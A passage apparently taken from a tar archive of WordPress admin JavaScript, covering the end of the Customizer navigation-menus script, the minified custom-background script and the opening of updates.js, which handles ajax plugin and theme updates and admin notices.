/menu-item-depth-\d+/g ), function( className ) { menuItemControl.container.removeClass( className ); }); menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) ); } menuItemControl.container.data( 'item-depth', context.currentDepth ); // Process any children items. context.currentDepth += 1; context.currentParent = menuItemControl.params.menu_item_id; reflowRecursively( context ); context.currentDepth -= 1; context.currentParent = thisParent; }); // Update class names for reordering controls. if ( currentMenuItemControls.length ) { _( currentMenuItemControls ).each(function( menuItemControl ) { menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' ); if ( 0 === context.currentDepth ) { menuItemControl.container.addClass( 'move-left-disabled' ); } else if ( 10 === context.currentDepth ) { menuItemControl.container.addClass( 'move-right-disabled' ); } }); currentMenuItemControls[0].container .addClass( 'move-up-disabled' ) .addClass( 'move-right-disabled' ) .toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length ); currentMenuItemControls[ currentMenuItemControls.length - 1 ].container .addClass( 'move-down-disabled' ) .toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length ); } }; reflowRecursively( { menuItemControls: menuItemControls, currentParent: 0, currentDepth: 0, currentAbsolutePosition: 0 } ); menuControl.updateInvitationVisibility( menuItemControls ); menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 ); }, /** * Note that this function gets debounced so that when a lot of setting * changes are made at once, for instance when moving a menu item that * has child items, this function will only be called once all of the * settings have been updated. */ debouncedReflowMenuItems: _.debounce( function() { this.reflowMenuItems.apply( this, arguments ); }, 0 ), /** * Add a new item to this menu. * * @param {Object} item - Value for the nav_menu_item setting to be created. * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance. */ addItemToMenu: function( item ) { var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10, originalItemId = item.id || ''; _.each( menuControl.getMenuItemControls(), function( control ) { if ( false === control.setting() ) { return; } priority = Math.max( priority, control.priority() ); if ( 0 === control.setting().menu_item_parent ) { position = Math.max( position, control.setting().position ); } }); position += 1; priority += 1; item = $.extend( {}, api.Menus.data.defaultSettingValues.nav_menu_item, item, { nav_menu_term_id: menuControl.params.menu_id, position: position } ); delete item.id; // Only used by Backbone. placeholderId = api.Menus.generatePlaceholderAutoIncrementId(); customizeId = 'nav_menu_item[' + String( placeholderId ) + ']'; settingArgs = { type: 'nav_menu_item', transport: api.Menus.data.settingTransport, previewer: api.previewer }; setting = api.create( customizeId, customizeId, {}, settingArgs ); setting.set( item ); // Change from initial empty object to actual item to mark as dirty. // Add the menu item control. menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, { type: 'nav_menu_item', section: menuControl.id, priority: priority, settings: { 'default': customizeId }, menu_item_id: placeholderId, original_item_id: originalItemId } ); api.control.add( menuItemControl ); setting.preview(); menuControl.debouncedReflowMenuItems(); wp.a11y.speak( api.Menus.data.l10n.itemAdded ); return menuItemControl; }, /** * Show an invitation to add new menu items when there are no menu items. * * @since 4.9.0 * * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls */ updateInvitationVisibility: function ( optionalMenuItemControls ) { var menuItemControls = optionalMenuItemControls || this.getMenuItemControls(); this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 ); } } ); /** * Extends wp.customize.controlConstructor with control constructor for * menu_location, menu_item, nav_menu, and new_menu. */ $.extend( api.controlConstructor, { nav_menu_location: api.Menus.MenuLocationControl, nav_menu_item: api.Menus.MenuItemControl, nav_menu: api.Menus.MenuControl, nav_menu_name: api.Menus.MenuNameControl, nav_menu_locations: api.Menus.MenuLocationsControl, nav_menu_auto_add: api.Menus.MenuAutoAddControl }); /** * Extends wp.customize.panelConstructor with section constructor for menus. */ $.extend( api.panelConstructor, { nav_menus: api.Menus.MenusPanel }); /** * Extends wp.customize.sectionConstructor with section constructor for menu. */ $.extend( api.sectionConstructor, { nav_menu: api.Menus.MenuSection, new_menu: api.Menus.NewMenuSection }); /** * Init Customizer for menus. */ api.bind( 'ready', function() { // Set up the menu items panel. api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({ collection: api.Menus.availableMenuItems }); api.bind( 'saved', function( data ) { if ( data.nav_menu_updates || data.nav_menu_item_updates ) { api.Menus.applySavedData( data ); } } ); /* * Reset the list of posts created in the customizer once published. * The setting is updated quietly (bypassing events being triggered) * so that the customized state doesn't become immediately dirty. */ api.state( 'changesetStatus' ).bind( function( status ) { if ( 'publish' === status ) { api( 'nav_menus_created_posts' )._value = []; } } ); // Open and focus menu control. api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl ); } ); /** * When customize_save comes back with a success, make sure any inserted * nav menus and items are properly re-added with their newly-assigned IDs. * * @alias wp.customize.Menus.applySavedData * * @param {Object} data * @param {Array} data.nav_menu_updates * @param {Array} data.nav_menu_item_updates */ api.Menus.applySavedData = function( data ) { var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {}; _( data.nav_menu_updates ).each(function( update ) { var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection; if ( 'inserted' === update.status ) { if ( ! update.previous_term_id ) { throw new Error( 'Expected previous_term_id' ); } if ( ! update.term_id ) { throw new Error( 'Expected term_id' ); } oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']'; if ( ! api.has( oldCustomizeId ) ) { throw new Error( 'Expected setting to exist: ' + oldCustomizeId ); } oldSetting = api( oldCustomizeId ); if ( ! api.section.has( oldCustomizeId ) ) { throw new Error( 'Expected control to exist: ' + oldCustomizeId ); } oldSection = api.section( oldCustomizeId ); settingValue = oldSetting.get(); if ( ! settingValue ) { throw new Error( 'Did not expect setting to be empty (deleted).' ); } settingValue = $.extend( _.clone( settingValue ), update.saved_value ); insertedMenuIdMapping[ update.previous_term_id ] = update.term_id; newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']'; newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, { type: 'nav_menu', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); shouldExpandNewSection = oldSection.expanded(); if ( shouldExpandNewSection ) { oldSection.collapse(); } // Add the menu section. newSection = new api.Menus.MenuSection( newCustomizeId, { panel: 'nav_menus', title: settingValue.name, customizeAction: api.Menus.data.l10n.customizingMenus, type: 'nav_menu', priority: oldSection.priority.get(), menu_id: update.term_id } ); // Add new control for the new menu. api.section.add( newSection ); // Update the values for nav menus in Navigation Menu controls. api.control.each( function( setting ) { if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) { return; } var select, oldMenuOption, newMenuOption; select = setting.container.find( 'select' ); oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' ); newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' ); newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) ); oldMenuOption.remove(); } ); // Delete the old placeholder nav_menu. oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set. oldSetting.set( false ); oldSetting.preview(); newSetting.preview(); oldSetting._dirty = false; // Remove nav_menu section. oldSection.container.remove(); api.section.remove( oldCustomizeId ); // Update the nav_menu widget to reflect removed placeholder menu. navMenuCount = 0; api.each(function( setting ) { if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) { navMenuCount += 1; } }); widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove(); // Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options. wp.customize.control.each(function( control ){ if ( /^nav_menu_locations\[/.test( control.id ) ) { control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove(); } }); // Update nav_menu_locations to reference the new ID. api.each( function( setting ) { var wasSaved = api.state( 'saved' ).get(); if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) { setting.set( update.term_id ); setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update(). api.state( 'saved' ).set( wasSaved ); setting.preview(); } } ); if ( shouldExpandNewSection ) { newSection.expand(); } } else if ( 'updated' === update.status ) { customizeId = 'nav_menu[' + String( update.term_id ) + ']'; if ( ! api.has( customizeId ) ) { throw new Error( 'Expected setting to exist: ' + customizeId ); } // Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name). setting = api( customizeId ); if ( ! _.isEqual( update.saved_value, setting.get() ) ) { wasSaved = api.state( 'saved' ).get(); setting.set( update.saved_value ); setting._dirty = false; api.state( 'saved' ).set( wasSaved ); } } } ); // Build up mapping of nav_menu_item placeholder IDs to inserted IDs. _( data.nav_menu_item_updates ).each(function( update ) { if ( update.previous_post_id ) { insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id; } }); _( data.nav_menu_item_updates ).each(function( update ) { var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl; if ( 'inserted' === update.status ) { if ( ! update.previous_post_id ) { throw new Error( 'Expected previous_post_id' ); } if ( ! update.post_id ) { throw new Error( 'Expected post_id' ); } oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']'; if ( ! api.has( oldCustomizeId ) ) { throw new Error( 'Expected setting to exist: ' + oldCustomizeId ); } oldSetting = api( oldCustomizeId ); if ( ! api.control.has( oldCustomizeId ) ) { throw new Error( 'Expected control to exist: ' + oldCustomizeId ); } oldControl = api.control( oldCustomizeId ); settingValue = oldSetting.get(); if ( ! settingValue ) { throw new Error( 'Did not expect setting to be empty (deleted).' ); } settingValue = _.clone( settingValue ); // If the parent menu item was also inserted, update the menu_item_parent to the new ID. if ( settingValue.menu_item_parent < 0 ) { if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) { throw new Error( 'inserted ID for menu_item_parent not available' ); } settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ]; } // If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id. if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) { settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ]; } newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']'; newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, { type: 'nav_menu_item', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); // Add the menu control. newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, { type: 'nav_menu_item', menu_id: update.post_id, section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']', priority: oldControl.priority.get(), settings: { 'default': newCustomizeId }, menu_item_id: update.post_id } ); // Remove old control. oldControl.container.remove(); api.control.remove( oldCustomizeId ); // Add new control to take its place. api.control.add( newControl ); // Delete the placeholder and preview the new setting. oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set. oldSetting.set( false ); oldSetting.preview(); newSetting.preview(); oldSetting._dirty = false; newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) ); } }); /* * Update the settings for any nav_menu widgets that had selected a placeholder ID. */ _.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) { var setting = api( widgetSettingId ); if ( setting ) { setting._value = widgetSettingValue; setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu. } }); }; /** * Focus a menu item control. * * @alias wp.customize.Menus.focusMenuItemControl * * @param {string} menuItemId */ api.Menus.focusMenuItemControl = function( menuItemId ) { var control = api.Menus.getMenuItemControl( menuItemId ); if ( control ) { control.focus(); } }; /** * Get the control for a given menu. * * @alias wp.customize.Menus.getMenuControl * * @param menuId * @return {wp.customize.controlConstructor.menus[]} */ api.Menus.getMenuControl = function( menuId ) { return api.control( 'nav_menu[' + menuId + ']' ); }; /** * Given a menu item ID, get the control associated with it. * * @alias wp.customize.Menus.getMenuItemControl * * @param {string} menuItemId * @return {Object|null} */ api.Menus.getMenuItemControl = function( menuItemId ) { return api.control( menuItemIdToSettingId( menuItemId ) ); }; /** * @alias wp.customize.Menus~menuItemIdToSettingId * * @param {string} menuItemId */ function menuItemIdToSettingId( menuItemId ) { return 'nav_menu_item[' + menuItemId + ']'; } /** * Apply sanitize_text_field()-like logic to the supplied name, returning a * "unnammed" fallback string if the name is then empty. * * @alias wp.customize.Menus~displayNavMenuName * * @param {string} name * @return {string} */ function displayNavMenuName( name ) { name = name || ''; name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name. name = name.toString().trim(); return name || api.Menus.data.l10n.unnamed; } })( wp.customize, wp, jQuery ); custom-background.min.js 0000644 00000002266 15222552267 0011331 0 ustar 00 /*! This file is auto-generated */ !function(e){e(function(){var c,a=e("#custom-background-image");e("#background-color").wpColorPicker({change:function(n,o){a.css("background-color",o.color.toString())},clear:function(){a.css("background-color","")}}),e('select[name="background-size"]').on("change",function(){a.css("background-size",e(this).val())}),e('input[name="background-position"]').on("change",function(){a.css("background-position",e(this).val())}),e('input[name="background-repeat"]').on("change",function(){a.css("background-repeat",e(this).is(":checked")?"repeat":"no-repeat")}),e('input[name="background-attachment"]').on("change",function(){a.css("background-attachment",e(this).is(":checked")?"scroll":"fixed")}),e("#choose-from-library-link").on("click",function(n){var o=e(this);n.preventDefault(),c||(c=wp.media.frames.customBackground=wp.media({title:o.data("choose"),library:{type:"image"},button:{text:o.data("update"),close:!1}})).on("select",function(){var n=c.state().get("selection").first(),o=e("#_wpnonce").val()||"";e.post(ajaxurl,{action:"set-background-image",attachment_id:n.id,_ajax_nonce:o,size:"full"}).done(function(){window.location.reload()})}),c.open()})})}(jQuery); updates.js 0000644 00000332577 15222552267 0006600 0 ustar 00 /** * Functions for ajaxified updates, deletions and installs inside the WordPress admin. * * @version 4.2.0 * @output wp-admin/js/updates.js */ /* global pagenow, _wpThemeSettings */ /** * @param {jQuery} $ jQuery object. * @param {object} wp WP object. * @param {object} settings WP Updates settings. * @param {string} settings.ajax_nonce Ajax nonce. * @param {object=} settings.plugins Base names of plugins in their different states. * @param {Array} settings.plugins.all Base names of all plugins. * @param {Array} settings.plugins.active Base names of active plugins. * @param {Array} settings.plugins.inactive Base names of inactive plugins. * @param {Array} settings.plugins.upgrade Base names of plugins with updates available. * @param {Array} settings.plugins.recently_activated Base names of recently activated plugins. * @param {Array} settings.plugins['auto-update-enabled'] Base names of plugins set to auto-update. * @param {Array} settings.plugins['auto-update-disabled'] Base names of plugins set to not auto-update. * @param {object=} settings.themes Slugs of themes in their different states. * @param {Array} settings.themes.all Slugs of all themes. * @param {Array} settings.themes.upgrade Slugs of themes with updates available. * @param {Arrat} settings.themes.disabled Slugs of disabled themes. * @param {Array} settings.themes['auto-update-enabled'] Slugs of themes set to auto-update. * @param {Array} settings.themes['auto-update-disabled'] Slugs of themes set to not auto-update. * @param {object=} settings.totals Combined information for available update counts. * @param {number} settings.totals.count Holds the amount of available updates. */ (function( $, wp, settings ) { var $document = $( document ), __ = wp.i18n.__, _x = wp.i18n._x, _n = wp.i18n._n, _nx = wp.i18n._nx, sprintf = wp.i18n.sprintf; wp = wp || {}; /** * The WP Updates object. * * @since 4.2.0 * * @namespace wp.updates */ wp.updates = {}; /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.2.0 * @deprecated 5.5.0 * * @type {object} */ wp.updates.l10n = { searchResults: '', searchResultsLabel: '', noPlugins: '', noItemsSelected: '', updating: '', pluginUpdated: '', themeUpdated: '', update: '', updateNow: '', pluginUpdateNowLabel: '', updateFailedShort: '', updateFailed: '', pluginUpdatingLabel: '', pluginUpdatedLabel: '', pluginUpdateFailedLabel: '', updatingMsg: '', updatedMsg: '', updateCancel: '', beforeunload: '', installNow: '', pluginInstallNowLabel: '', installing: '', pluginInstalled: '', themeInstalled: '', installFailedShort: '', installFailed: '', pluginInstallingLabel: '', themeInstallingLabel: '', pluginInstalledLabel: '', themeInstalledLabel: '', pluginInstallFailedLabel: '', themeInstallFailedLabel: '', installingMsg: '', installedMsg: '', importerInstalledMsg: '', aysDelete: '', aysDeleteUninstall: '', aysBulkDelete: '', aysBulkDeleteThemes: '', deleting: '', deleteFailed: '', pluginDeleted: '', themeDeleted: '', livePreview: '', activatePlugin: '', activateTheme: '', activatePluginLabel: '', activateThemeLabel: '', activateImporter: '', activateImporterLabel: '', unknownError: '', connectionError: '', nonceError: '', pluginsFound: '', noPluginsFound: '', autoUpdatesEnable: '', autoUpdatesEnabling: '', autoUpdatesEnabled: '', autoUpdatesDisable: '', autoUpdatesDisabling: '', autoUpdatesDisabled: '', autoUpdatesError: '' }; wp.updates.l10n = window.wp.deprecateL10nObject( 'wp.updates.l10n', wp.updates.l10n, '5.5.0' ); /** * User nonce for ajax calls. * * @since 4.2.0 * * @type {string} */ wp.updates.ajaxNonce = settings.ajax_nonce; /** * Current search term. * * @since 4.6.0 * * @type {string} */ wp.updates.searchTerm = ''; /** * Minimum number of characters before an ajax search is fired. * * @since 6.7.0 * * @type {number} */ wp.updates.searchMinCharacters = 2; /** * Whether filesystem credentials need to be requested from the user. * * @since 4.2.0 * * @type {bool} */ wp.updates.shouldRequestFilesystemCredentials = false; /** * Filesystem credentials to be packaged along with the request. * * @since 4.2.0 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided. * * @type {Object} * @property {Object} filesystemCredentials.ftp Holds FTP credentials. * @property {string} filesystemCredentials.ftp.host FTP host. Default empty string. * @property {string} filesystemCredentials.ftp.username FTP user name. Default empty string. * @property {string} filesystemCredentials.ftp.password FTP password. Default empty string. * @property {string} filesystemCredentials.ftp.connectionType Type of FTP connection. 'ssh', 'ftp', or 'ftps'. * Default empty string. * @property {Object} filesystemCredentials.ssh Holds SSH credentials. * @property {string} filesystemCredentials.ssh.publicKey The public key. Default empty string. * @property {string} filesystemCredentials.ssh.privateKey The private key. Default empty string. * @property {string} filesystemCredentials.fsNonce Filesystem credentials form nonce. * @property {bool} filesystemCredentials.available Whether filesystem credentials have been provided. * Default 'false'. */ wp.updates.filesystemCredentials = { ftp: { host: '', username: '', password: '', connectionType: '' }, ssh: { publicKey: '', privateKey: '' }, fsNonce: '', available: false }; /** * Whether we're waiting for an Ajax request to complete. * * @since 4.2.0 * @since 4.6.0 More accurately named `ajaxLocked`. * * @type {bool} */ wp.updates.ajaxLocked = false; /** * Admin notice template. * * @since 4.6.0 * * @type {function} */ wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' ); /** * Update queue. * * If the user tries to update a plugin while an update is * already happening, it can be placed in this queue to perform later. * * @since 4.2.0 * @since 4.6.0 More accurately named `queue`. * * @type {Array.object} */ wp.updates.queue = []; /** * Holds a jQuery reference to return focus to when exiting the request credentials modal. * * @since 4.2.0 * * @type {jQuery} */ wp.updates.$elToReturnFocusToFromCredentialsModal = undefined; /** * Adds or updates an admin notice. * * @since 4.6.0 * * @param {Object} data * @param {*=} data.selector Optional. Selector of an element to be replaced with the admin notice. * @param {string=} data.id Optional. Unique id that will be used as the notice's id attribute. * @param {string=} data.className Optional. Class names that will be used in the admin notice. * @param {string=} data.message Optional. The message displayed in the notice. * @param {number=} data.successes Optional. The amount of successful operations. * @param {number=} data.errors Optional. The amount of failed operations. * @param {Array=} data.errorMessages Optional. Error messages of failed operations. * */ wp.updates.addAdminNotice = function( data ) { var $notice = $( data.selector ), $headerEnd = $( '.wp-header-end' ), $adminNotice; delete data.selector; $adminNotice = wp.updates.adminNotice( data ); // Check if this admin notice already exists. if ( ! $notice.length ) { $notice = $( '#' + data.id ); } if ( $notice.length ) { $notice.replaceWith( $adminNotice ); } else if ( $headerEnd.length ) { $headerEnd.after( $adminNotice ); } else { if ( 'customize' === pagenow ) { $( '.customize-themes-notifications' ).append( $adminNotice ); } else { $( '.wrap' ).find( '> h1' ).after( $adminNotice ); } } $document.trigger( 'wp-updates-notice-added' ); }; /** * Handles Ajax requests to WordPress. * * @since 4.6.0 * * @param {string} action The type of Ajax request ('update-plugin', 'install-theme', etc). * @param {Object} data Data that needs to be passed to the ajax callback. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.ajax = function( action, data ) { var options = {}; if ( wp.updates.ajaxLocked ) { wp.updates.queue.push( { action: action, data: data } ); // Return a Deferred object so callbacks can always be registered. return $.Deferred(); } wp.updates.ajaxLocked = true; if ( data.success ) { options.success = data.success; delete data.success; } if ( data.error ) { options.error = data.error; delete data.error; } options.data = _.extend( data, { action: action, _ajax_nonce: wp.updates.ajaxNonce, _fs_nonce: wp.updates.filesystemCredentials.fsNonce, username: wp.updates.filesystemCredentials.ftp.username, password: wp.updates.filesystemCredentials.ftp.password, hostname: wp.updates.filesystemCredentials.ftp.hostname, connection_type: wp.updates.filesystemCredentials.ftp.connectionType, public_key: wp.updates.filesystemCredentials.ssh.publicKey, private_key: wp.updates.filesystemCredentials.ssh.privateKey } ); return wp.ajax.send( options ).always( wp.updates.ajaxAlways ); }; /** * Actions performed after every Ajax request. * * @since 4.6.0 * * @param {Object} response * @param {Array=} response.debug Optional. Debug information. * @param {string=} response.errorCode Optional. Error code for an error that occurred. */ wp.updates.ajaxAlways = function( response ) { if ( ! response.errorCode || 'unable_to_connect_to_filesystem' !== response.errorCode ) { wp.updates.ajaxLocked = false; wp.updates.queueChecker(); } if ( 'undefined' !== typeof response.debug && window.console && window.console.log ) { _.map( response.debug, function( message ) { // Remove all HTML tags and write a message to the console. window.console.log( wp.sanitize.stripTagsAndEncodeText( message ) ); } ); } }; /** * Refreshes update counts everywhere on the screen. * * @since 4.7.0 */ wp.updates.refreshCount = function() { var $adminBarUpdates = $( '#wp-admin-bar-updates' ), $dashboardNavMenuUpdateCount = $( 'a[href="update-core.php"] .update-plugins' ), $pluginsNavMenuUpdateCount = $( 'a[href="plugins.php"] .update-plugins' ), $appearanceNavMenuUpdateCount = $( 'a[href="themes.php"] .update-plugins' ), itemCount; $adminBarUpdates.find( '.ab-label' ).text( settings.totals.counts.total ); $adminBarUpdates.find( '.updates-available-text' ).text( sprintf( /* translators: %s: Total number of updates available. */ _n( '%s update available', '%s updates available', settings.totals.counts.total ), settings.totals.counts.total ) ); // Remove the update count from the toolbar if it's zero. if ( 0 === settings.totals.counts.total ) { $adminBarUpdates.find( '.ab-label' ).parents( 'li' ).remove(); } // Update the "Updates" menu item. $dashboardNavMenuUpdateCount.each( function( index, element ) { element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.total ); } ); if ( settings.totals.counts.total > 0 ) { $dashboardNavMenuUpdateCount.find( '.update-count' ).text( settings.totals.counts.total ); } else { $dashboardNavMenuUpdateCount.remove(); } // Update the "Plugins" menu item. $pluginsNavMenuUpdateCount.each( function( index, element ) { element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.plugins ); } ); if ( settings.totals.counts.total > 0 ) { $pluginsNavMenuUpdateCount.find( '.plugin-count' ).text( settings.totals.counts.plugins ); } else { $pluginsNavMenuUpdateCount.remove(); } // Update the "Appearance" menu item. $appearanceNavMenuUpdateCount.each( function( index, element ) { element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.themes ); } ); if ( settings.totals.counts.total > 0 ) { $appearanceNavMenuUpdateCount.find( '.theme-count' ).text( settings.totals.counts.themes ); } else { $appearanceNavMenuUpdateCount.remove(); } // Update list table filter navigation. if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { itemCount = settings.totals.counts.plugins; } else if ( 'themes' === pagenow || 'themes-network' === pagenow ) { itemCount = settings.totals.counts.themes; } if ( itemCount > 0 ) { $( '.subsubsub .upgrade .count' ).text( '(' + itemCount + ')' ); } else { $( '.subsubsub .upgrade' ).remove(); $( '.subsubsub li:last' ).html( function() { return $( this ).children(); } ); } }; /** * Sends a message from a modal to the main screen to update buttons in plugin cards. * * @since 6.5.0 * * @param {Object} data An object of data to use for the button. * @param {string} data.slug The plugin's slug. * @param {string} data.text The text to use for the button. * @param {string} data.ariaLabel The value for the button's aria-label attribute. An empty string removes the attribute. * @param {string=} data.status Optional. An identifier for the status. * @param {string=} data.removeClasses Optional. A space-separated list of classes to remove from the button. * @param {string=} data.addClasses Optional. A space-separated list of classes to add to the button. * @param {string=} data.href Optional. The button's URL. * @param {string=} data.pluginName Optional. The plugin's name. * @param {string=} data.plugin Optional. The plugin file, relative to the plugins directory. */ wp.updates.setCardButtonStatus = function( data ) { var target = window.parent === window ? null : window.parent; $.support.postMessage = !! window.postMessage; if ( false !== $.support.postMessage && null !== target && -1 === window.parent.location.pathname.indexOf( 'index.php' ) ) { target.postMessage( JSON.stringify( data ), window.location.origin ); } }; /** * Decrements the update counts throughout the various menus. * * This includes the toolbar, the "Updates" menu item and the menu items * for plugins and themes. * * @since 3.9.0 * * @param {string} type The type of item that was updated or deleted. * Can be 'plugin', 'theme'. */ wp.updates.decrementCount = function( type ) { settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 ); if ( 'plugin' === type ) { settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 ); } else if ( 'theme' === type ) { settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 ); } wp.updates.refreshCount( type ); }; /** * Sends an Ajax request to the server to update a plugin. * * @since 4.2.0 * @since 4.6.0 More accurately named `updatePlugin`. * * @param {Object} args Arguments. * @param {string} args.plugin Plugin basename. * @param {string} args.slug Plugin slug. * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess * @param {updatePluginError=} args.error Optional. Error callback. Default: wp.updates.updatePluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.updatePlugin = function( args ) { var $updateRow, $card, $message, message, $adminBarUpdates = $( '#wp-admin-bar-updates' ), buttonText = __( 'Updating...' ), isPluginInstall = 'plugin-install' === pagenow || 'plugin-install-network' === pagenow; args = _.extend( { success: wp.updates.updatePluginSuccess, error: wp.updates.updatePluginError }, args ); if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { $updateRow = $( 'tr[data-plugin="' + args.plugin + '"]' ); $message = $updateRow.find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' ); message = sprintf( /* translators: %s: Plugin name and version. */ _x( 'Updating %s...', 'plugin' ), $updateRow.find( '.plugin-title strong' ).text() ); } else if ( isPluginInstall ) { $card = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ); $message = $card.find( '.update-now' ).addClass( 'updating-message' ); message = sprintf( /* translators: %s: Plugin name and version. */ _x( 'Updating %s...', 'plugin' ), $message.data( 'name' ) ); // Remove previous error messages, if any. $card.removeClass( 'plugin-card-update-failed' ).find( '.notice.notice-error' ).remove(); } $adminBarUpdates.addClass( 'spin' ); if ( $message.html() !== __( 'Updating...' ) ) { $message.data( 'originaltext', $message.html() ); } $message .attr( 'aria-label', message ) .text( buttonText ); $document.trigger( 'wp-plugin-updating', args ); if ( isPluginInstall && 'plugin-information-footer' === $card.attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'updating-plugin', slug: args.slug, addClasses: 'updating-message', text: buttonText, ariaLabel: message } ); } return wp.updates.ajax( 'update-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin update. * * @since 4.2.0 * @since 4.6.0 More accurately named `updatePluginSuccess`. * @since 5.5.0 Auto-update "time to next update" text cleared. * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be updated. * @param {string} response.plugin Basename of the plugin to be updated. * @param {string} response.pluginName Name of the plugin to be updated. * @param {string} response.oldVersion Old version of the plugin. * @param {string} response.newVersion New version of the plugin. */ wp.updates.updatePluginSuccess = function( response ) { var $pluginRow, $updateMessage, newText, $adminBarUpdates = $( '#wp-admin-bar-updates' ), buttonText = _x( 'Updated!', 'plugin' ), ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s updated!', 'plugin' ), response.pluginName ); if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { $pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ) .removeClass( 'update is-enqueued' ) .addClass( 'updated' ); $updateMessage = $pluginRow.find( '.update-message' ) .removeClass( 'updating-message notice-warning' ) .addClass( 'updated-message notice-success' ).find( 'p' ); // Update the version number in the row. newText = $pluginRow.find( '.plugin-version-author-uri' ).html().replace( response.oldVersion, response.newVersion ); $pluginRow.find( '.plugin-version-author-uri' ).html( newText ); // Clear the "time to next auto-update" text. $pluginRow.find( '.auto-update-time' ).empty(); } else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) { $updateMessage = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.update-now' ) .removeClass( 'updating-message' ) .addClass( 'button-disabled updated-message' ); } $adminBarUpdates.removeClass( 'spin' ); $updateMessage .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( __( 'Update completed successfully.' ) ); if ( 'plugin_install_from_iframe' !== $updateMessage.attr( 'id' ) ) { wp.updates.decrementCount( 'plugin' ); } else { wp.updates.setCardButtonStatus( { status: 'updated-plugin', slug: response.slug, removeClasses: 'updating-message', addClasses: 'button-disabled updated-message', text: buttonText, ariaLabel: ariaLabel } ); } $document.trigger( 'wp-plugin-update-success', response ); }; /** * Updates the UI appropriately after a failed plugin update. * * @since 4.2.0 * @since 4.6.0 More accurately named `updatePluginError`. * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be updated. * @param {string} response.plugin Basename of the plugin to be updated. * @param {string=} response.pluginName Optional. Name of the 